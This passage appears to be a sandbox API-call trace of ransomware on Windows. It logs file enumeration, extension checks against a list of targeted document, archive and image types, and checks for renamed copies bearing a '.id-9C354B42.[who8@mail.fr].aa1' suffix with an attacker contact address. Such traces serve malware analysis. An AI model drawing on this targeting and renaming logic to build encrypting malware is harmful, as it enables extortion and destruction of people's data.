[0203.368] lstrlenW (lpString=".docx") returned 5 [0203.369] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0203.369] lstrlenW (lpString=".pdf") returned 4 [0203.369] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0203.369] lstrlenW (lpString=".xls") returned 4 [0203.369] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0203.369] lstrlenW (lpString=".xlsx") returned 5 [0203.369] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0203.369] lstrlenW (lpString=".ppt") returned 4 [0203.369] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0203.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0203.369] lstrlenW (lpString=".zip") returned 4 [0203.369] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0203.369] lstrlenW (lpString=".rar") returned 4 [0203.369] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0203.369] lstrlenW (lpString=".bz2") returned 4 [0203.369] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0203.370] lstrlenW (lpString=".7z") returned 3 [0203.370] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0203.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0203.370] lstrlenW (lpString=".dbf") returned 4 [0203.370] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0203.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0203.370] lstrlenW (lpString=".1cd") returned 4 [0203.370] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0203.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0203.370] lstrlenW (lpString=".jpg") returned 4 [0203.370] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0203.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0203.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0203.370] lstrlenW (lpString=".doc") returned 4 [0203.370] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0203.371] lstrlenW (lpString=".docx") returned 5 [0203.371] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0203.371] lstrlenW (lpString=".pdf") returned 4 [0203.371] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0203.371] lstrlenW (lpString=".xls") returned 4 [0203.371] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0203.371] lstrlenW (lpString=".xlsx") returned 5 [0203.371] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0203.371] lstrlenW (lpString=".ppt") returned 4 [0203.371] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0203.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0203.371] lstrlenW (lpString=".zip") returned 4 [0203.371] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0203.371] lstrlenW (lpString=".rar") returned 4 [0203.371] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0203.371] lstrlenW (lpString=".bz2") returned 4 [0203.371] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0203.372] lstrlenW (lpString=".7z") returned 3 [0203.372] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0203.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0203.372] lstrlenW (lpString=".dbf") returned 4 [0203.372] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0203.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0203.372] lstrlenW (lpString=".1cd") returned 4 [0203.372] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0203.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0203.372] lstrlenW (lpString=".jpg") returned 4 [0203.372] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0203.372] lstrcmpiW (lpString1=".avi", lpString2=".aa1") returned 1 [0203.374] lstrlenW (lpString="boxed-split.avi") returned 15 [0203.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0203.374] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=62976) returned 1 [0203.374] CloseHandle (hObject=0x184) returned 1 [0203.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0203.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0203.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0203.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0203.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0203.375] lstrlenW (lpString=".doc") returned 4 [0203.375] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0203.375] lstrlenW (lpString=".docx") returned 5 [0203.375] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0203.375] lstrlenW (lpString=".pdf") returned 4 [0203.375] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0203.375] lstrlenW (lpString=".xls") returned 4 [0203.375] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0203.375] lstrlenW (lpString=".xlsx") returned 5 [0203.375] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0203.375] lstrlenW (lpString=".ppt") returned 4 [0203.375] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0203.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0203.375] lstrlenW (lpString=".zip") returned 4 [0203.375] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0203.375] lstrlenW (lpString=".rar") returned 4 [0203.375] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0203.375] lstrlenW (lpString=".bz2") returned 4 [0203.375] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0203.375] lstrlenW (lpString=".7z") returned 3 [0203.375] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0203.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0203.375] lstrlenW (lpString=".dbf") returned 4 [0203.375] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0203.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0203.376] lstrlenW (lpString=".1cd") returned 4 [0203.376] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0203.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0203.376] lstrlenW (lpString=".jpg") returned 4 [0203.376] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0203.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0203.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0203.376] lstrlenW (lpString=".doc") returned 4 [0203.376] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0203.376] lstrlenW (lpString=".docx") returned 5 [0203.376] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0203.376] lstrlenW (lpString=".pdf") returned 4 [0203.376] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0203.376] lstrlenW (lpString=".xls") returned 4 [0203.376] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0203.376] lstrlenW (lpString=".xlsx") returned 5 [0203.376] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0203.376] lstrlenW (lpString=".ppt") returned 4 [0203.376] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0203.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0203.376] lstrlenW (lpString=".zip") returned 4 [0203.377] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0203.377] lstrlenW (lpString=".rar") returned 4 [0203.377] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0203.377] lstrlenW (lpString=".bz2") returned 4 [0203.377] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0203.377] lstrlenW (lpString=".7z") returned 3 [0203.377] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0203.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0203.377] lstrlenW (lpString=".dbf") returned 4 [0203.377] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0203.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0203.377] lstrlenW (lpString=".1cd") returned 4 [0203.377] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0203.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0203.377] lstrlenW (lpString=".jpg") returned 4 [0203.377] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0203.377] lstrcmpiW (lpString1=".avi", lpString2=".aa1") returned 1 [0203.377] lstrlenW (lpString="correct.avi") returned 11 [0203.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0203.378] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=197120) returned 1 [0203.378] CloseHandle (hObject=0x184) returned 1 [0203.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0203.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0203.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0203.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0203.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0203.378] lstrlenW (lpString=".doc") returned 4 [0203.378] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0203.378] lstrlenW (lpString=".docx") returned 5 [0203.378] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0203.378] lstrlenW (lpString=".pdf") returned 4 [0203.378] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0203.378] lstrlenW (lpString=".xls") returned 4 [0203.378] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0203.378] lstrlenW (lpString=".xlsx") returned 5 [0203.378] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0203.378] lstrlenW (lpString=".ppt") returned 4 [0203.378] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0203.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0203.378] lstrlenW (lpString=".zip") returned 4 [0203.379] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0203.379] lstrlenW (lpString=".rar") returned 4 [0203.379] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0203.379] lstrlenW (lpString=".bz2") returned 4 [0203.379] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0203.379] lstrlenW (lpString=".7z") returned 3 [0203.379] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0203.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0203.379] lstrlenW (lpString=".dbf") returned 4 [0203.379] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0203.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0203.379] lstrlenW (lpString=".1cd") returned 4 [0203.379] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0203.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0203.379] lstrlenW (lpString=".jpg") returned 4 [0203.379] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0203.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0203.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0203.379] lstrlenW (lpString=".doc") returned 4 [0203.379] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0203.379] lstrlenW (lpString=".docx") returned 5 [0203.379] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0203.379] lstrlenW (lpString=".pdf") returned 4 [0203.379] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0203.379] lstrlenW (lpString=".xls") returned 4 [0203.379] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0203.379] lstrlenW (lpString=".xlsx") returned 5 [0203.379] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0203.380] lstrlenW (lpString=".ppt") returned 4 [0203.380] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0203.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0203.380] lstrlenW (lpString=".zip") returned 4 [0203.380] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0203.380] lstrlenW (lpString=".rar") returned 4 [0203.380] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0203.380] lstrlenW (lpString=".bz2") returned 4 [0203.380] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0203.380] lstrlenW (lpString=".7z") returned 3 [0203.380] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0203.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0203.380] lstrlenW (lpString=".dbf") returned 4 [0203.380] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0203.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0203.380] lstrlenW (lpString=".1cd") returned 4 [0203.380] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0203.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0203.380] lstrlenW (lpString=".jpg") returned 4 [0203.380] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0203.380] lstrcmpiW (lpString1=".avi", lpString2=".aa1") returned 1 [0203.380] lstrlenW (lpString="delete.avi") returned 10 [0203.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0205.440] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=224256) returned 1 [0205.440] CloseHandle (hObject=0x1e4) returned 1 [0205.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0205.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0205.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.442] lstrlenW (lpString=".doc") returned 4 [0205.442] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.442] lstrlenW (lpString=".docx") returned 5 [0205.442] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0205.442] lstrlenW (lpString=".pdf") returned 4 [0205.442] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.442] lstrlenW (lpString=".xls") returned 4 [0205.442] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.442] lstrlenW (lpString=".xlsx") returned 5 [0205.442] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0205.442] lstrlenW (lpString=".ppt") returned 4 [0205.442] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.442] lstrlenW (lpString=".zip") returned 4 [0205.442] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.443] lstrlenW (lpString=".rar") returned 4 [0205.443] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.443] lstrlenW (lpString=".bz2") returned 4 [0205.443] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.443] lstrlenW (lpString=".7z") returned 3 [0205.443] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.443] lstrlenW (lpString=".dbf") returned 4 [0205.443] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.443] lstrlenW (lpString=".1cd") returned 4 [0205.443] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.443] lstrlenW (lpString=".jpg") returned 4 [0205.443] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.443] lstrlenW (lpString=".doc") returned 4 [0205.443] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.443] lstrlenW (lpString=".docx") returned 5 [0205.443] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0205.443] lstrlenW (lpString=".pdf") returned 4 [0205.443] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.444] lstrlenW (lpString=".xls") returned 4 [0205.444] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.444] lstrlenW (lpString=".xlsx") returned 5 [0205.444] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0205.444] lstrlenW (lpString=".ppt") returned 4 [0205.444] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.444] lstrlenW (lpString=".zip") returned 4 [0205.444] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.444] lstrlenW (lpString=".rar") returned 4 [0205.444] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.444] lstrlenW (lpString=".bz2") returned 4 [0205.444] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.444] lstrlenW (lpString=".7z") returned 3 [0205.445] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.445] lstrlenW (lpString=".dbf") returned 4 [0205.445] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.445] lstrlenW (lpString=".1cd") returned 4 [0205.445] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0205.445] lstrlenW (lpString=".jpg") returned 4 [0205.445] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.445] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0205.445] lstrlenW (lpString="base_altgr.xml") returned 14 [0205.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.776] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3161) returned 1 [0205.776] CloseHandle (hObject=0x1b0) returned 1 [0205.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0205.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0205.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0205.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0205.776] lstrlenW (lpString=".doc") returned 4 [0205.776] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.776] lstrlenW (lpString=".docx") returned 5 [0205.776] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0205.776] lstrlenW (lpString=".pdf") returned 4 [0205.776] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.777] lstrlenW (lpString=".xls") returned 4 [0205.777] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.777] lstrlenW (lpString=".xlsx") returned 5 [0205.777] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0205.777] lstrlenW (lpString=".ppt") returned 4 [0205.777] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0205.777] lstrlenW (lpString=".zip") returned 4 [0205.777] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.777] lstrlenW (lpString=".rar") returned 4 [0205.777] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.777] lstrlenW (lpString=".bz2") returned 4 [0205.777] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.777] lstrlenW (lpString=".7z") returned 3 [0205.777] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0205.777] lstrlenW (lpString=".dbf") returned 4 [0205.777] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0205.777] lstrlenW (lpString=".1cd") returned 4 [0205.777] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0205.777] lstrlenW (lpString=".jpg") returned 4 [0205.777] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0205.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0205.778] lstrlenW (lpString=".doc") returned 4 [0205.778] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.778] lstrlenW (lpString=".docx") returned 5 [0205.778] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0205.778] lstrlenW (lpString=".pdf") returned 4 [0205.778] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.778] lstrlenW (lpString=".xls") returned 4 [0205.778] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.778] lstrlenW (lpString=".xlsx") returned 5 [0205.778] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0205.778] lstrlenW (lpString=".ppt") returned 4 [0205.778] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 